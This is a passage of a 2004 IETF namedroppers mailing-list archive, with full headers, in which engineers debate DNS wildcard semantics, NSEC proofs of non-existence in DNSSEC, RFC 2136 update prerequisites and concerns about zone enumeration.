the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Wed Sep 8 00:35:09 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA06426
for ; Wed, 8 Sep 2004 00:35:09 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C4u4u-0005Ba-43
for namedroppers-data@psg.com; Wed, 08 Sep 2004 04:29:04 +0000
Received: from [129.9.80.165] (helo=fxshpr08.extra.daimlerchrysler.com)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C4u4i-0005At-Tl
for namedroppers@ops.ietf.org; Wed, 08 Sep 2004 04:28:53 +0000
Received: (from uucp@localhost)
by fxshpr08.extra.daimlerchrysler.com (8.12.8/8.9.0) id i884KEKP009235
for ; Wed, 8 Sep 2004 00:20:14 -0400 (EDT)
Received: from nodnsquery(129.9.147.104) by fxshpr08.extra.daimlerchrysler.com via csmap (V6.0)
id srcAAA00aqcs; Wed, 8 Sep 04 00:20:14 -0400
Received: from shconpr2.shdc.chrysler.com ([127.0.0.1])
by shconpr2-hme0.shdc.chrysler.com (Mail-Gear 2.0.0 bld 66) with SMTP id M2004090800285124637
for ; Wed, 08 Sep 2004 00:28:51 -0400
Received: from odmrspr2-hme0.oddc.chrysler.com ([53.231.2.113])
by shconpr2.shdc.chrysler.com (SMSSMTP 4.0.0.59) with SMTP id M2004090800285119646
for ; Wed, 08 Sep 2004 00:28:51 -0400
Received: from shsecpr1-ce0.shdc.chrysler.com (shsecpr1-ce0.shdc.chrysler.com [53.231.128.176])
by odmrspr2-hme0.oddc.chrysler.com (8.12.11/8.12.11/daimlerchrysler-relay-1.1-kcd) with SMTP id i884Skqm028634
for ; Wed, 8 Sep 2004 00:28:49 -0400 (EDT)
Received: from wokcdts1.is.chrysler.com ([53.230.102.252])
by shsecpr1-ce0.shdc.chrysler.com (SMSSMTP 4.0.0.59) with SMTP id M2004090800284913009
for ; Wed, 08 Sep 2004 00:28:49 -0400
Received: from daimlerchrysler.com (wokcdts1.is.chrysler.com [53.230.102.252])
by wokcdts1.is.chrysler.com (8.11.7+Sun/8.9.1) with ESMTP id i884Snj19291
for ; Wed, 8 Sep 2004 00:28:49 -0400 (EDT)
Message-ID: <413E8A81.7000502@daimlerchrysler.com>
Date: Wed, 08 Sep 2004 00:28:49 -0400
From: Kevin Darcy
User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.4) Gecko/20030701
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: namedroppers@ops.ietf.org
Subject: Re: more wild cards
References: <413920C7.3000809@daimlerchrysler.com> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU>
In-Reply-To: <18901.1094415765@munnari.OZ.AU>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit
Robert Elz wrote:
> Date: Fri, 03 Sep 2004 21:56:23 -0400
> From: Kevin Darcy
> Message-ID: <413920C7.3000809@daimlerchrysler.com>
>
> | I think one major bit of "looseness" that needs to be addressed here is
> | that RFC 1034's Section 4.3.3 restricts the term "wildcard" to names
> | _beginning_ with an asterisk label, whereas the lookup algorithm of
> | Section 4.3.2 talks about "matching down, label by label", when to look
> | for an asterisk label, and what to do if one is found, without any
> | limitations on whether the asterisk label is the first one in an owner
> | name or not.
>
>Actually, this isn't as different as it appears to be. Remember that if the
>name a.b.c.d exists, then so do the names b.c.d.e c.d.e d.e and e.
>
>If any of a b c d or e is '*' then there is a name that begins with '*'.
>
>However, 4.3.3 talks of RR's owned by '*' - which is what is important
>for wildcards, and why names like a.*[.anything] in a zone are useless
>(ignoring the case where someone is doing a lookup for a qname containing
>a '*' label where those a.* names work just like any other name).
>
>If a.* is present in the zone then the '*' label (by virtue of this RR
>anyway) has no RR's attached to it - it is what we have come to call an
>empty non-terminal. The lookup algorithm finds the '*', matches its RR's
>(of which there are none) against the QTYPE, must fail to find anything,
>terminates the search, and returns an empty answer. For all practical
>purposes, that's exactly the same as returning a "no such name" error,
>whatever we wanted to do that caused the name lookup to be done is going
>to fail, as the data we wanted isn't there.
>
I was considering the difference between an NXDOMAIN and a NODATA
response to be a significant one. Admittedly, there isn't much
difference from the perspective of a garden-variety app calling
gethostbyname(), or whatever, but I was under the (possibly mistaken)
impression that this difference mattered from a DNSSEC perspective.
At the very least, isn't part of the justification for having a concept
of "empty non-terminal"s at all (a concept that I think belongs to an
old-fashioned "tree" paradigm rather than the more modern
index-into-a-database paradigm, and therefore rather difficult to convey
to novices who often aren't so steeped in hierarchical design models)
the alleged ability of a caching resolver to "prune" the namespace, so
that queries for names underneath a "branch" that is known to not exist
at all (i.e. an empty non-terminal) can be automatically answered in the
negative without having to incur a subsidiary query to the authoritative
servers for the zone? If we're going to consider NXDOMAIN and NODATA to
be functionally equivalent, then I say let's go all the way and just
abolish the notion of an "empty non-terminal" altogether. K.I.S.S. If,
on the other hand, NXDOMAIN and NODATA are not, "[f]or all practical
purposes [...] exactly the same", then the spec should either a) refine
the lookup algorithm to *only* give special meaning to asterisk labels
that are part of "wildcard"s, or b) broaden the definition of "wildcard"
to include any name with an asterisk label in it. Hopefully the new
draft can reconcile the tension that exists between _de_jure_
"wildcards" and _de_facto_ "names containing asterisk labels that might
cause special behavior within the lookup algorithm".
In addition to the difference between an NXDOMAIN and a NODATA response,
there is still the legalistic question of whether Section 4.3.3's
prohibition on multiple asterisk labels in a "wildcard" owner name
functionally "turns off" the special behavior that would otherwise occur
with asterisk labels, in the case where none of the
multiple-asterisk-labels happens to be the first label of the name, and
therefore the name itself does not technically qualify as a "wildcard"
under 4.3.3's definition...
- Kevin
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Wed Sep 8 04:25:50 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA19783
for ; Wed, 8 Sep 2004 04:25:50 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C4xhX-0002yv-Bt
for namedroppers-data@psg.com; Wed, 08 Sep 2004 08:21:11 +0000
Received: from [193.0.0.199] (helo=postman.ripe.net)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C4xhM-0002yC-Mi
for namedroppers@ops.ietf.org; Wed, 08 Sep 2004 08:21:00 +0000
Received: by postman.ripe.net (Postfix, from userid 8)
id 2631B4EE6C; Wed, 8 Sep 2004 10:21:00 +0200 (CEST)
Received: from birch.ripe.net (birch.ripe.net [193.0.1.96])
by postman.ripe.net (Postfix) with ESMTP id D95DD4EDB5
for ; Wed, 8 Sep 2004 10:20:59 +0200 (CEST)
Received: from x50.ripe.net (x50.ripe.net [193.0.1.50])
by birch.ripe.net (8.12.10/8.11.6) with SMTP id i888KxDI000457
for ; Wed, 8 Sep 2004 10:20:59 +0200
Date: Wed, 8 Sep 2004 10:20:59 +0200
From: "Olaf M. Kolkman"
To: namedroppers@ops.ietf.org
Subject: Re: dictionary attack on nameservers
Message-Id: <20040908102059.4f7daaf7.olaf@ripe.net>
In-Reply-To: <16702.11978.922191.709874@giles.gnomon.org.uk>
References: <16702.11978.922191.709874@giles.gnomon.org.uk>
Organization: RIPE NCC
X-Mailer: Sylpheed version 0.9.11 (GTK+ 1.2.10; i686-pc-linux-gnu)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-RIPE-Spam-Status: N 0.000000 / 0.0 / 0.0 / disabled
X-RIPE-Signature: 66e2b9a788ff70bc647b0372a39c9c14
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit
On Tue, 7 Sep 2004 22:57:30 +0100
Roy Badami wrote:
> However Olaf contacted me privately requesting
For the record this was my request:
Hello,
I am sending this message to a few people that where had an
outspoken meaning in this discussion. With reference to
http://ops.ietf.org/lists/namedroppers/namedroppers.2004/msg01600.html
would you mind giving a 20 lines conclusion of your arguments?
Thanks,
-- Olaf
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Wed Sep 8 04:33:26 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA20342
for ; Wed, 8 Sep 2004 04:33:25 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C4xqe-0003tb-Qy
for namedroppers-data@psg.com; Wed, 08 Sep 2004 08:30:36 +0000
Received: from [213.165.64.20] (helo=mail.gmx.net)
by psg.com with smtp (Exim 4.41 (FreeBSD))
id 1C4xqT-0003sN-Iu
for namedroppers@ops.ietf.org; Wed, 08 Sep 2004 08:30:25 +0000
Received: (qmail 29830 invoked by uid 0); 8 Sep 2004 08:30:24 -0000
Received: from 212.149.48.43 by www58.gmx.net with HTTP;
Wed, 8 Sep 2004 10:30:24 +0200 (MEST)
Date: Wed, 8 Sep 2004 10:30:24 +0200 (MEST)
From: "Tom Schmitt"
To: namedroppers@ops.ietf.org
MIME-Version: 1.0
References: <200409072217.i87MHbQe037524@drugs.dv.isc.org>
Subject: Interpretation of RFC 2136
X-Priority: 3 (Normal)
X-Authenticated: #21806675
Message-ID: <31306.1094632224@www58.gmx.net>
X-Mailer: WWW-Mail 1.6 (Global Message Exchange)
X-Flags: 0001
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit
Hi,
in RFC 2136 (Dynamic Updates in the Domain Name System) there are a section
explaining the behavior how a server react to the updates where is a section
which refers to Prerequisites:
>
> (2) RRset exists (value dependent). A set of RRs with a
> specified NAME and TYPE exists and has the same members
> with the same RDATAs as the RRset specified here in this
> Section.
>
My understanding of this is, that when I sent
prereq yxrrset foo.baa.com A 10.0.0.2
I'll get NOERROR if there is a record "foo.baa.com A 10.0.0.2" and I will
get NXRRSET if there is no such a record.
Now I discovered, there are circumstances in which the Bind does not react
in this way. If there is such a record but also another record with the same
name and type, but another IP-Adress, then the Bind answer NXRRSET even
though such a record exist.
I send a question regarding this to the bind-mailinglist, but the answer
was, that it is no bug, but a question of interpreting RFC 2136:
>
> (2) RRset exists (value dependent). A set of RRs with a
> specified NAME and TYPE exists and has the same members
> with the same RDATAs as the RRset specified here in this
> Section.
>
> The prerequisite section talks about RR sets. This is a
> exact match. Unfortunately there is no way to specify a
> partial match. For a partial match it would have words to
> like.
>
> (2) RRset exists (value dependent). A set of RRs with a
> specified NAME and TYPE exists and has the same members
> with the same RDATAs as the RRset specified here in this
> Section plus possibly other RRs with the same NAME and TYPE.
>
> If you feel our interpretation is wrong this should be discussed
> on namedroppers.
>
> Mark Andrews, ISC
So what is the right interprtation? And if the version of Mark Andrews is
right, is there a way to determinate if a record exist which will word in
all circumstances?
Thanks,
Tom.
--
NEU: Bis zu 10 GB Speicher für e-mails & Dateien!
1 GB bereits bei GMX FreeMail http://www.gmx.net/de/go/mail
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Wed Sep 8 06:03:07 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA26558
for ; Wed, 8 Sep 2004 06:03:07 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C4zBL-000CmW-9e
for namedroppers-data@psg.com; Wed, 08 Sep 2004 09:56:03 +0000
Received: from [213.154.224.1] (helo=open.nlnetlabs.nl)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C4zBA-000Ckt-A8
for namedroppers@ops.ietf.org; Wed, 08 Sep 2004 09:55:52 +0000
Received: from elektron.atoom.net (f52166.upc-f.chello.nl [80.56.52.166])
by open.nlnetlabs.nl (8.13.1/8.13.1) with ESMTP id i889tmiW009536
for ; Wed, 8 Sep 2004 11:55:48 +0200 (CEST)
(envelope-from miekg@atoom.net)
Received: from elektron.atoom.net (localhost [127.0.0.1])
by elektron.atoom.net (8.12.11/8.12.11/Debian-5) with ESMTP id i889tlTV024480
for ; Wed, 8 Sep 2004 11:55:47 +0200
Received: (from miekg@localhost)
by elektron.atoom.net (8.12.11/8.12.11/Debian-5) id i889tkkx024479
for namedroppers@ops.ietf.org; Wed, 8 Sep 2004 11:55:46 +0200
Date: Wed, 8 Sep 2004 11:55:46 +0200
From: Miek Gieben
To: namedroppers@ops.ietf.org
Subject: Re: dictionary attack on nameservers
Message-ID: <20040908095546.GA24356@atoom.net>
Mail-Followup-To: namedroppers@ops.ietf.org
References: <16702.11978.922191.709874@giles.gnomon.org.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <16702.11978.922191.709874@giles.gnomon.org.uk>
User-Agent: Vim/Mutt/Linux
X-Home: www.miek.nl
X-Virus-Scanned: by amavisd-new
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.4 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Hello,
I could only manage to write 17 lines :-) But here is goes:
First of all, any solution to be found for the "problem" of enumeration is
a solution that will only work for 50% (as there are other ways of getting
the data). If think a protocol change is a big sacrifice for a non optimal
solution.
Secondly only a few TLD's have expressed their concern about this, which is,
IMO, again another reason not to fiddle with the protocol.
That said, I also take the view that enumeration in DNSSEC should not be made
easier than it is today.
The requirements from Ed [1] are a good starting point. But as Ed said
- you will never have a solution that will satisfy all these
contraints.
[1]
http://ops.ietf.org/lists/namedroppers/namedroppers.2004/msg01610.html
grtz Miek
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Wed Sep 8 06:15:27 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA27342
for ; Wed, 8 Sep 2004 06:15:27 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C4zQx-000EhL-CM
for namedroppers-data@psg.com; Wed, 08 Sep 2004 10:12:11 +0000
Received: from [213.154.224.1] (helo=open.nlnetlabs.nl)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C4zQm-000Efw-JF
for namedroppers@ops.ietf.org; Wed, 08 Sep 2004 10:12:00 +0000
Received: from NLnetLabs.nl (forest.nlnetlabs.nl [IPv6:2001:7b8:206:1:250:bfff:fe58:4d93])
by open.nlnetlabs.nl (8.13.1/8.13.1) with ESMTP id i88ABv5r010010
for ; Wed, 8 Sep 2004 12:11:57 +0200 (CEST)
(envelope-from jelte@NLnetLabs.nl)
Message-ID: <413EDA91.1020602@NLnetLabs.nl>
Date: Wed, 08 Sep 2004 12:10:25 +0200
From: Jelte Jansen
User-Agent: Mozilla Thunderbird 0.5 (X11/20040306)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: namedroppers@ops.ietf.org
Subject: Re: dictionary attack on nameservers
References: <16702.11978.922191.709874@giles.gnomon.org.uk> <20040908095546.GA24356@atoom.net>
In-Reply-To: <20040908095546.GA24356@atoom.net>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit
Okay, here's my 20 lines.
--start line count--
I think Lewis summed it up pretty well, and I don't see any way to
satisfy all these constraints either, it would be great if someone else
would. One of the biggest problems I have with all this is that DNS(SEC)
is complicated enough as it is, and we should be really really really
sure that it is a problem (...of DNS (...on the protocol level)), before
we start adding yet more complexity to it all (which is a security risk
itself).
For those who have problems with enumeration, online signing shall
probably not be a solution either, but muddying up the namespace will
not make administrating zones any easier. Insofar i have read the
proposals I have serious doubts if they solve the enumeration problem,
but that can probably be fixed, and I haven't given them much attention
(see above).
The 5 requirements mentioned by Lewis should be at least present in the
requirements documentation, be it as hard requirements or strong
considerations, as the trade-off for any solution should be well considered.
-- line 20 --
Jelte
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Wed Sep 8 09:09:24 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA09653
for ; Wed, 8 Sep 2004 09:09:24 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C5267-0007ew-FR
for namedroppers-data@psg.com; Wed, 08 Sep 2004 13:02:51 +0000
Received: from [217.155.92.105] (helo=scuzzy.ben.algroup.co.uk)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C525w-0007cr-8r
for namedroppers@ops.ietf.org; Wed, 08 Sep 2004 13:02:40 +0000
Received: from [193.133.15.100] (eandbwin.ben.algroup.co.uk [193.133.15.100])
by scuzzy.ben.algroup.co.uk (Postfix) with ESMTP
id 0F4781FF86C; Wed, 8 Sep 2004 13:02:38 +0000 (GMT)
Message-ID: <413F02ED.70506@algroup.co.uk>
Date: Wed, 08 Sep 2004 14:02:37 +0100
From: Ben Laurie
User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502)
X-Accept-Language: en
MIME-Version: 1.0
To: Edward Lewis
Cc: Robert Elz , Kevin Darcy ,
namedroppers@ops.ietf.org
Subject: Re: more wild cards
References: <413920C7.3000809@daimlerchrysler.com> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU> <413C692C.1060702@algroup.co.uk>
In-Reply-To:
X-Enigmail-Version: 0.84.2.0
X-Enigmail-Supports: pgp-inline, pgp-mime
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit
Edward Lewis wrote:
> At 14:42 +0100 9/6/04, Ben Laurie wrote:
>
>> What I want to know is: what does DNSSEC have to demonstrate to be
>> sure it has
>> proved there's no wildcard match? Given the apparent lack of clarity,
>> can we be
>> sure we know it does that currently?
>
>
> To be clear, this question is getting ahead of the draft, OTOH it is the
> question that spurred the writing of the draft.
>
> If there is no RRSET matching (QNAME, QCLASS, QTYPE), DNSSEC has to
> provide a means for the recipient to validate the received message.
>
> I need to tie the query to the lack of data. If I were able to sign a
> tailored message - including the original query plus the empty data
> return (or name error) - then all that is needed is to do that. The
> recipient would see the signed denial, get the key to validate it, and
> we are more or less done.
>
> Signing a tailored response requires on-line signing. (I assume we all
> have a good idea of the issues that entails.)
>
> The NSEC approach uses precomputed statements (I assume we all know
> that). Combining the NSEC statements with 4.3.2, we need to supply one
> NSEC statement per "failure" to match in 4.3.2. In the case of a name
> error, one error is the failure to find an exact match, a second error
> is the failure to find the '*'.
That is if there is a "the" '*'. If there are multiple possibilities
(e.g. a '*' in the middle somewhere) then you need to provide further
proofs.
> That's what's needed...you'll note that there's the first level
> requirement - being able to answer with a negative signed answer - and
> then the second level requirement which is dependent on the design
> branch. (I.e., an NSEC needed for the name and one for the wild card -
> if we do NSEC.)
Indeed.
Cheers,
Ben.
--
http://www.apache-ssl.org/ben.html http://www.thebunker.net/
"There is no limit to what a man can do or how far he can go if he
doesn't mind who gets the credit." - Robert Woodruff
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Wed Sep 8 10:02:13 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA12728
for ; Wed, 8 Sep 2004 10:02:12 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C52wJ-000D9P-6L
for namedroppers-data@psg.com; Wed, 08 Sep 2004 13:56:47 +0000
Received: from [204.152.187.5] (helo=farside.isc.org)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C52w8-000D7x-87
for namedroppers@ops.ietf.org; Wed, 08 Sep 2004 13:56:36 +0000
Received: from drugs.dv.isc.org (localhost [IPv6:::1])
(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
(No client certificate requested)
by farside.isc.org (Postfix) with ESMTP id 7B91B677E6
for ; Wed, 8 Sep 2004 13:56:35 +0000 (UTC)
(envelope-from marka@isc.org)
Received: from drugs.dv.isc.org (localhost [127.0.0.1])
by drugs.dv.isc.org (8.12.11/8.12.11) with ESMTP id i88DswLq040600;
Wed, 8 Sep 2004 23:54:58 +1000 (EST)
(envelope-from marka@drugs.dv.isc.org)
Message-Id: <200409081354.i88DswLq040600@drugs.dv.isc.org>
To: Ben Laurie
Cc: Edward Lewis , Robert Elz ,
Kevin Darcy , namedroppers@ops.ietf.org
From: Mark Andrews
Subject: Re: more wild cards
In-reply-to: Your message of "Wed, 08 Sep 2004 14:02:37 +0100."
<413F02ED.70506@algroup.co.uk>
Date: Wed, 08 Sep 2004 23:54:58 +1000
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
> Edward Lewis wrote:
>
> > At 14:42 +0100 9/6/04, Ben Laurie wrote:
> >
> >> What I want to know is: what does DNSSEC have to demonstrate to be
> >> sure it has
> >> proved there's no wildcard match? Given the apparent lack of clarity,
> >> can we be
> >> sure we know it does that currently?
> >
> >
> > To be clear, this question is getting ahead of the draft, OTOH it is the
> > question that spurred the writing of the draft.
> >
> > If there is no RRSET matching (QNAME, QCLASS, QTYPE), DNSSEC has to
> > provide a means for the recipient to validate the received message.
> >
> > I need to tie the query to the lack of data. If I were able to sign a
> > tailored message - including the original query plus the empty data
> > return (or name error) - then all that is needed is to do that. The
> > recipient would see the signed denial, get the key to validate it, and
> > we are more or less done.
> >
> > Signing a tailored response requires on-line signing. (I assume we all
> > have a good idea of the issues that entails.)
> >
> > The NSEC approach uses precomputed statements (I assume we all know
> > that). Combining the NSEC statements with 4.3.2, we need to supply one
> > NSEC statement per "failure" to match in 4.3.2. In the case of a name
> > error, one error is the failure to find an exact match, a second error
> > is the failure to find the '*'.
>
> That is if there is a "the" '*'. If there are multiple possibilities
> (e.g. a '*' in the middle somewhere) then you need to provide further
> proofs.
No. You need to prove the QNAME does not exist. You need
to prove the (singular) wildcard does not exist. You need
to prove that the wildcard without the first label exists.
This comes directly from RFC 1034. If you look at RFC 1034
you will see that for any given zone and QNAME there is one
and only one possible wildcard match.
With NSEC you can always do this with a maximum of two records
and if you are lucky with one. The NSEC record that proves that
the QNAME does not exist also identifies which wildcard needs
to be checked and provides the proof of existance of the wildcard
without the first label.
Mark
> > That's what's needed...you'll note that there's the first level
> > requirement - being able to answer with a negative signed answer - and
> > then the second level requirement which is dependent on the design
> > branch. (I.e., an NSEC needed for the name and one for the wild card -
> > if we do NSEC.)
>
> Indeed.
>
> Cheers,
>
> Ben.
>
> --
> http://www.apache-ssl.org/ben.html http://www.thebunker.net/
>
> "There is no limit to what a man can do or how far he can go if he
> doesn't mind who gets the credit." - Robert Woodruff
>
> --
> to unsubscribe send a message to namedroppers-request@ops.ietf.org with
> the word 'unsubscribe' in a single line as the message text body.
> archive:
--
Mark Andrews, ISC
1 Seymour St., Dundas Valley, NSW 2117, Australia
PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Wed Sep 8 10:19:43 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA14947
for ; Wed, 8 Sep 2004 10:19:42 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C53EK-000FQN-8o
for namedroppers-data@psg.com; Wed, 08 Sep 2004 14:15:24 +0000
Received: from [192.149.252.33] (helo=smtp1.arin.net)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C53Dt-000FLk-8c
for namedroppers@ops.ietf.org; Wed, 08 Sep 2004 14:14:57 +0000
Received: by smtp1.arin.net (Postfix, from userid 5003)
id A4573143FC7; Wed, 8 Sep 2004 09:55:24 -0400 (EDT)
Received: from mercury.arin.net (mercury.arin.net [192.149.252.131])
by smtp1.arin.net (Postfix) with ESMTP id 0788A143EE3;
Wed, 8 Sep 2004 09:55:24 -0400 (EDT)
Received: from [192.136.136.102] (mercury.arin.net [127.0.0.1])
by mercury.arin.net (Postfix) with ESMTP id 63C6CCF3CA;
Wed, 8 Sep 2004 10:14:54 -0400 (EDT)
Mime-Version: 1.0
X-Sender: edlewis@127.0.0.1
Message-Id:
In-Reply-To: <413F02ED.70506@algroup.co.uk>
References: <413920C7.3000809@daimlerchrysler.com>
<27579.1094135350@munnari.OZ.AU>
<3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU>
<413C692C.1060702@algroup.co.uk>
<413F02ED.70506@algroup.co.uk>
Date: Wed, 8 Sep 2004 09:59:36 -0400
To: Ben Laurie
From: Edward Lewis
Subject: Re: more wild cards
Cc: Edward Lewis , Robert Elz ,
Kevin Darcy , namedroppers@ops.ietf.org
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
At 14:02 +0100 9/8/04, Ben Laurie wrote:
>Edward Lewis wrote:
>
>> At 14:42 +0100 9/6/04, Ben Laurie wrote:
>>
>>> What I want to know is: what does DNSSEC have to demonstrate to be sure it
>>> has proved there's no wildcard match? Given the apparent lack of clarity,
>>> can we be sure we know it does that currently?
>>
>> To be clear, this question is getting ahead of the draft, OTOH it is the
>> question that spurred the writing of the draft.
>> If there is no RRSET matching (QNAME, QCLASS, QTYPE), DNSSEC has to provide
>> a means for the recipient to validate the received message.
>> I need to tie the query to the lack of data. If I were able to sign a
>> tailored message - including the original query plus the empty data return
>> (or name error) - then all that is needed is to do that. The recipient
>> would see the signed denial, get the key to validate it, and we are more
>> or less done.
>>
>> Signing a tailored response requires on-line signing. (I assume we all
>> have a good idea of the issues that entails.)
>> The NSEC approach uses precomputed statements (I assume we all know that).
>> Combining the NSEC statements with 4.3.2, we need to supply one NSEC
>> statement per "failure" to match in 4.3.2. In the case of a name error,
>> one error is the failure to find an exact match, a second error is the
>> failure to find the '*'.
>
>That is if there is a "the" '*'. If there are multiple possibilities (e.g. a
>'*' in the middle somewhere) then you need to provide further proofs.
There are no multiple possibilities. That's the point of the closest
encloser - there is one and only one node present in the DNS data
tree that is closest to the sought name.
The *only* wild card that is eligible to match the sought name is
then "*.." This is regardless of the contents
(label sequence) of the "closest encloser".
Suspending disbelief for the moment, let's say 1034 didn't restrict
internal '*'s. If there was the name "*. one.*.two.example.com" and
I was matching "zebra.donkey.one.*.two.example.com"... the closest
encloser would be one.*.two.example.com (assuming no donkey or
zebra.donkey). In that case, "zebra.donkey" matches the first
(leftmost) "*" in the wild card.
(This is all cool, 'cept for the blurb in 1034. It really is...;))
>> That's what's needed...you'll note that there's the first level
>>requirement - being able to answer with a negative signed answer -
>>and then the second level requirement which is dependent on the
>>design branch. (I.e., an NSEC needed for the name and one for the
>>wild card - if we do NSEC.)
>
>Indeed.
--
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Edward Lewis +1-703-227-9854
ARIN Research Engineer
"I can't go to Miami. I'm expecting calls from telemarketers." -
Grandpa Simpson.
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Wed Sep 8 10:36:38 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA16329
for ; Wed, 8 Sep 2004 10:36:36 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C53V3-000HEU-IT
